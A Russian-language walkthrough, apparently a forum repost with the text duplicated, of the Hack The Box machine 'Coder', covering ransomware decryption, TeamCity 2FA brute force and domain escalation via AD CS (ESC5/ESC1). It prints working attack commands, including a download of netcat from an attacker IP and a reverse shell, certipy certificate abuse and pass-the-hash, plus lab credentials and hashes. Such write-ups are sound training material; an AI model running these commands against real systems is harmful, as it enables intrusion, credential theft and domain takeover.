stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу процесс реверсинга вируса‑шифровальщика, написанного на C#. Потом мы обойдем двухфакторную аутентификацию в TeamCity и получим RCE. Затем применим технику ESC5 для повышения привилегий через мисконфиг службы сертификации Active Directory.
Наша конечная цель — захват рута на машине Coder с площадки Hack The Box. Уровень ее сложности — «безумный».
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел множество открытых портов. Несложно заметить, что мы имеем дело с Windows.
Теперь проверяем доступ к службе SMB от имени гостевого пользователя и получаем список общих ресурсов. Для этого используем утилиту Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Есть несколько интересных каталогов, но первым делом заглянем в Development.
или Зарегистрируйся.
Содержимое общих ресурсов
В итоге нам доступно очень много файлов, поэтому лучше скопировать все на локальный хост и затем проанализировать.
Рекурсивная загрузка файлов
Наиболее интересны исполняемый файл‑шифровальщик и, видимо, зашифрованный файл.
Содержимое каталога Temporary Projects
Программа написана на C#, а значит, исполняемый файл можно декомпилировать с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Исходный код класса Main
Таким образом, файлы шифруются при помощи ключа и вектора инициализации (строки 21–26). В качестве сида для функции Random используется текущее время, а это значит, что ключ и вектор инициализации неслучайны. Мы можем немного переписать программу для расшифровки файла, а время, когда файл был зашифрован, определим по дате его создания.
Содержимое SMB-ресурса
Для перевода времени в формат UNIX воспользуемся сайтом Для просмотра ссылки Войдиили Зарегистрируйся. Указываем дату (с учетом временной зоны) и получаем число для инициализации функции Random.
Получение сида Random
Теперь можем переписать код, который поможет расшифровать файл.
Проверка расшифрованного файла
Это оказался архив 7-Zip, который содержит базу паролей KeePass и, предположительно, файл‑ключ.
Содержимое архива 7-Zip
А теперь расшифруем и откроем базу паролей KeePass.
Расшифровка базы KeePass
Сохраненный запрос бэкапа
Учетные данные пользователя s.blade
Учетные данные пользователя s.blade для сервиса TeamCity
Проверка учетных данных на SMB-ресурсе
Нам удается авторизоваться на SMB. Теперь попробуем получить доступ к хосту, для чего проверим подключение к службе WinRM.
Проверка учетных данных на службе WinRM
Сессию получить не выйдет, поэтому переходим еще к одному найденному ресурсу — сайту Для просмотра ссылки Войдиили Зарегистрируйся. Не забываем обновить запись в файле /etc/hosts.
Форма авторизации TeamCity
TeamCity — это билд‑сервер для обеспечения непрерывной интеграции при разработке. Вводим учетные данные для платформы и натыкаемся на двухфакторную аутентификацию.
Двухфакторная аутентификация TeamCity
У нас запрашивают шестизначный пароль, попробуем его пробрутить (возможно, займет какое‑то время). Для перебора используем Burp Intruder.
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Payloads
Burp Intruder — результат перебора
В итоге можно отфильтровать результаты по длине или коду ответа и получить один отличающийся. Вводим этот код и получаем доступ к TeamCity.
Главная страница TeamCity
Логи сборки проекта
В логах видим путь к запускаемому скрипту на PowerShell. Этот файл мы можем найти среди общих каталогов SMB.
Содержимое проекта teamcity_test_repo
Хоть писать в файл на сервере мы не можем, но благодаря локальному доступу к git-репозиторию все же имеем возможность выполнить свой код через применение diff-файла. В локальный файл hello_world.ps1 запишем реверс‑шелл на PowerShell, сгенерированный на сайте Для просмотра ссылки Войдиили Зарегистрируйся.
Исходный файл на PowerShell
Измененный файл hello_world.ps1
Теперь выполняем git commit.
Применение изменений git
Получим идентификаторы коммитов, для этого смотрим git log.
Коммиты git
А теперь создадим diff-файл, который будет содержать различия между коммитами.
Формирование diff-файла
Вернемся к TeamCity и запустим кастомную сборку, указав сформированный diff-файл. Предварительно запускаем листенер:
Кастомная сборка проекта
К сожалению, реверс‑шелл мы не получаем, а в логах сборки читаем, что обнаружено вредоносное содержимое скрипта.
Логи сборки
Я решил не патчить AMSI для работы с PowerShell, а пошел иным путем: просто скачиваем на хост Windows-версию netcat и запускаем самый простой реверс‑шелл. Для этого нужно сформировать новый diff-файл.
Повторяем все предваряющие сборку действия и получаем бэкконнект.
Сессия пользователя coder
Содержимое каталога C:\programdata\JetBrains
Находим уже знакомый нам проект, но он содержит много diff-файлов.
Содержимое каталога C:\programdata\JetBrains\TeamCity\system\changes
Большинство из них оказались моими попытками получить реверс‑шелл, но самый первый файл был создан давно. Проверим его содержимое.
Содержимое файла 101.changes.diff
Так находим файлы key.txt, enc.txt и Get-ADCS_Report.ps1. В скрипте пароль пользователя e.black в файле enc.txt расшифровывается с помощью ключа key.txt. Сохраним файлы на локальный хост и расшифруем пароль.
Расшифрованный пароль
Получаем пароль пользователя e.black и проверяем его на ресурсе SMB.
Результат тестирования SMB
Затем проверим учетные данные для службы WinRM.
Результат тестирования WinRM
Мы можем авторизоваться на хосте с помощью Для просмотра ссылки Войдиили Зарегистрируйся и получить сессию пользователя, а заодно и первый флаг.
Флаг пользователя
Информация о пользователе
И пользователь состоит в группах Certificate Service DCOM Access и PKI Admins, а это дает нам право на регистрацию шаблонов сертификатов в службе сертификации Active Directory (AD CS) и на выпуск сертификатов. Эти условия позволяют нам повысить привилегии в домене. Применяемая нами техника называется ESC5.
Давай зарегистрируем заранее уязвимый шаблон сертификата, для которого применима техника повышения привилегий ESC1. Взять его можно Для просмотра ссылки Войдиили Зарегистрируйся. А регистрировать Для просмотра ссылки Войди или Зарегистрируйся будем с помощью Для просмотра ссылки Войди или Зарегистрируйся для группы PKI Admins.
Регистрация нового шаблона
Теперь используем Для просмотра ссылки Войдиили Зарегистрируйся, чтобы получить данные о центре сертификации и существующих шаблонах.
Получение информации о центре сертификации
Зарегистрированный шаблон
Видим созданный нами шаблон сертификата и можем запросить выпуск сертификата для пользователя Administrator.
Запрос сертификата пользователя
Теперь у нас есть сертификат, разрешающий аутентификацию пользователя. По этому сертификату можем получить NTLM-хеш пароля пользователя и выполнить атаку path the hash. Но есть маленький нюанс — нужно синхронизировать время с удаленным сервером, используя команду ntpdate.
Получение NTLM-хеша пароля пользователя
Теперь возвращаем время своей машины обратно и подключаемся к серверу по WMI с полученным хешем.
Флаг рута
Машина захвачена!
Наша конечная цель — захват рута на машине Coder с площадки Hack The Box. Уровень ее сложности — «безумный».
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.207 coder.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел множество открытых портов. Несложно заметить, что мы имеем дело с Windows.
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC);
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 443 (HTTPS) — веб‑сервер Microsoft IIS/10.0;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
10.10.11.207 coder.htb dc01.coder.htb
Теперь проверяем доступ к службе SMB от имени гостевого пользователя и получаем список общих ресурсов. Для этого используем утилиту Для просмотра ссылки Войди
cme smb 10.10.11.207 -u 'guest' -p '' --shares
Для просмотра ссылки Войди
Есть несколько интересных каталогов, но первым делом заглянем в Development.
Точка входа
Подключаемся к ресурсу SMB с помощью скрипта smbclient из набора Для просмотра ссылки Войди
Код:
impacket-smbclient 'guest@10.10.11.207'
use Development

В итоге нам доступно очень много файлов, поэтому лучше скопировать все на локальный хост и затем проанализировать.
Код:
smbclient //10.10.11.207/Development -N
recurse on
prompt off
mget *

Наиболее интересны исполняемый файл‑шифровальщик и, видимо, зашифрованный файл.

Программа написана на C#, а значит, исполняемый файл можно декомпилировать с помощью Для просмотра ссылки Войди

Таким образом, файлы шифруются при помощи ключа и вектора инициализации (строки 21–26). В качестве сида для функции Random используется текущее время, а это значит, что ключ и вектор инициализации неслучайны. Мы можем немного переписать программу для расшифровки файла, а время, когда файл был зашифрован, определим по дате его создания.

Для перевода времени в формат UNIX воспользуемся сайтом Для просмотра ссылки Войди

Теперь можем переписать код, который поможет расшифровать файл.
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace Decryptor
{
class Program
{
static void Main(string[] args)
{
FileInfo fileInfo = new FileInfo(args[0]);
string destFile = Path.ChangeExtension(fileInfo.Name, ".dec");
long value = 1668205028; // DateTimeOffset.Now.ToUnixTimeSeconds();
Random random = new Random(Convert.ToInt32(value));
byte[] array = new byte[16];
random.NextBytes(array);
byte[] array2 = new byte[32];
random.NextBytes(array2);
byte[] array3 = Program.EncryptFile(fileInfo.Name, destFile, array2, array);
}
private static byte[] EncryptFile(string sourceFile, string destFile, byte[] Key, byte[] IV)
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
using (FileStream destFileStream = new FileStream(destFile, FileMode.Create))
{
using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(Key, IV))
{
using (FileStream sourceFileStream = new FileStream(sourceFile, FileMode.Open))
{
using (CryptoStream cryptoStream = new CryptoStream(sourceFileStream, cryptoTransform, CryptoStreamMode.Read))
{
byte[] array = new byte[1024];
int count;
while ((count = cryptoStream.Read(array, 0, array.Length)) != 0)
{
destFileStream.Write(array, 0, count);
}
}
}
}
}
}
return null;
}
}
}

Это оказался архив 7-Zip, который содержит базу паролей KeePass и, предположительно, файл‑ключ.

А теперь расшифруем и откроем базу паролей KeePass.




Точка опоры
Первым делом проверяем найденные учетные данные. Так, данные для О365 оказались доменными учетными данными.cme smb 10.10.11.207 -u 's.blade' -p 'AmcwNO60Zg3vca3o0HDrTC6D' --shares

Нам удается авторизоваться на SMB. Теперь попробуем получить доступ к хосту, для чего проверим подключение к службе WinRM.
cme winrm 10.10.11.207 -u 's.blade' -p 'AmcwNO60Zg3vca3o0HDrTC6D'

Сессию получить не выйдет, поэтому переходим еще к одному найденному ресурсу — сайту Для просмотра ссылки Войди
10.10.11.207 coder.htb dc01.coder.htb teamcity-dev.coder.htb

TeamCity — это билд‑сервер для обеспечения непрерывной интеграции при разработке. Вводим учетные данные для платформы и натыкаемся на двухфакторную аутентификацию.

У нас запрашивают шестизначный пароль, попробуем его пробрутить (возможно, займет какое‑то время). Для перебора используем Burp Intruder.



В итоге можно отфильтровать результаты по длине или коду ответа и получить один отличающийся. Вводим этот код и получаем доступ к TeamCity.

TeamCity RCE
Переходим к единственному проекту и выполняем сборку. Больше всего нас интересуют логи сборки.
В логах видим путь к запускаемому скрипту на PowerShell. Этот файл мы можем найти среди общих каталогов SMB.

Хоть писать в файл на сервере мы не можем, но благодаря локальному доступу к git-репозиторию все же имеем возможность выполнить свой код через применение diff-файла. В локальный файл hello_world.ps1 запишем реверс‑шелл на PowerShell, сгенерированный на сайте Для просмотра ссылки Войди


Теперь выполняем git commit.
git commit hello_world.ps1 -m 'changed'

Получим идентификаторы коммитов, для этого смотрим git log.
git log

А теперь создадим diff-файл, который будет содержать различия между коммитами.
git diff 4aefc d9899

Вернемся к TeamCity и запустим кастомную сборку, указав сформированный diff-файл. Предварительно запускаем листенер:
rlwrap nc -lnvp 4321

К сожалению, реверс‑шелл мы не получаем, а в логах сборки читаем, что обнаружено вредоносное содержимое скрипта.

Я решил не патчить AMSI для работы с PowerShell, а пошел иным путем: просто скачиваем на хост Windows-версию netcat и запускаем самый простой реверс‑шелл. Для этого нужно сформировать новый diff-файл.
Код:
curl http://10.10.14.83:80/nc64.exe -O .\nc64.exe
.\nc64.exe 10.10.14.83 4321 -e powershell
Повторяем все предваряющие сборку действия и получаем бэкконнект.

Продвижение
Получив доступ к файловой системе хоста, первым делом проверяем остальные проекты, так как там могут быть ценные данные. При этом важно заглянуть в каталог C:\programdata.
Находим уже знакомый нам проект, но он содержит много diff-файлов.

Большинство из них оказались моими попытками получить реверс‑шелл, но самый первый файл был создан давно. Проверим его содержимое.

Так находим файлы key.txt, enc.txt и Get-ADCS_Report.ps1. В скрипте пароль пользователя e.black в файле enc.txt расшифровывается с помощью ключа key.txt. Сохраним файлы на локальный хост и расшифруем пароль.
Код:
$key = Get-Content ./key.txt
$enc = Get-Content ./enc.txt | ConvertTo-SecureString -Key $key
(New-Object PSCredential 0, $enc).GetNetworkCredential().Password

Получаем пароль пользователя e.black и проверяем его на ресурсе SMB.
cme smb 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'

Затем проверим учетные данные для службы WinRM.
cme winrm 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'

Мы можем авторизоваться на хосте с помощью Для просмотра ссылки Войди
evil-winrm -i 10.10.11.207 -u 'e.black' -p 'ypOSJXPqlDOxxbQSfEERy300'

Локальное повышение привилегий
Теперь получим информацию о пользователе. Нас интересуют активные привилегии и группы, в которых он состоит.whoami /all

И пользователь состоит в группах Certificate Service DCOM Access и PKI Admins, а это дает нам право на регистрацию шаблонов сертификатов в службе сертификации Active Directory (AD CS) и на выпуск сертификатов. Эти условия позволяют нам повысить привилегии в домене. Применяемая нами техника называется ESC5.
Давай зарегистрируем заранее уязвимый шаблон сертификата, для которого применима техника повышения привилегий ESC1. Взять его можно Для просмотра ссылки Войди
Код:
Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName RalfESC1 -JSON (Get-Content .\ESC1.json -Raw) -Publish -Identity "CODER\PKI Admins"

Теперь используем Для просмотра ссылки Войди
certipy-ad find -username '[EMAIL]e.black@coder.htb[/EMAIL]' -password 'ypOSJXPqlDOxxbQSfEERy300'


Видим созданный нами шаблон сертификата и можем запросить выпуск сертификата для пользователя Administrator.
certipy-ad req -username '[EMAIL]e.black@coder.htb[/EMAIL]' -password 'ypOSJXPqlDOxxbQSfEERy300' -ca coder-DC01-CA -target 10.10.11.207 -template RalfESC1 -upn '[EMAIL]Administrator@coder.htb[/EMAIL]' -dns dc01.coder.htb

Теперь у нас есть сертификат, разрешающий аутентификацию пользователя. По этому сертификату можем получить NTLM-хеш пароля пользователя и выполнить атаку path the hash. Но есть маленький нюанс — нужно синхронизировать время с удаленным сервером, используя команду ntpdate.
Код:
sudo timedatectl set-ntp 0
sudo ntpdate -s 10.10.11.207
certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 10.10.11.207

Теперь возвращаем время своей машины обратно и подключаемся к серверу по WMI с полученным хешем.
Код:
sudo timedatectl set-ntp 1
sudo ntpdate -s ntp.org
impacket-wmiexec coder.htb/administrator@dc01.coder.htb -hashes :807726fcf9f188adc26eeafd7dc16bb7

Машина захвачена!